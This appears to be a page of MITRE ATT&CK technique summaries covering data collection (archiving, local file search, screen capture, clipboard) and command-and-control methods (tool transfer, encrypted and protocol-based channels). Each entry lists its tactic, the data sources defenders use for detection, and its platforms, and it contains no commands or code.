Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre